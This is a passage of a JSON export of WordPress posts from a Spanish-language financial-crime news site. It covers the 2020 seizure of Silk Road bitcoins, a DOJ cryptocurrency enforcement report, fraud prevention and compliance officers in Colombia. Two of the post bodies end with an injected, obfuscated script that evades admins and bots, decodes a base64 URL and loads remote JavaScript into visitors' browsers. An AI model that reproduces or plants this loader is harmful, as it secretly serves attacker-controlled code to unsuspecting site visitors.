perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de 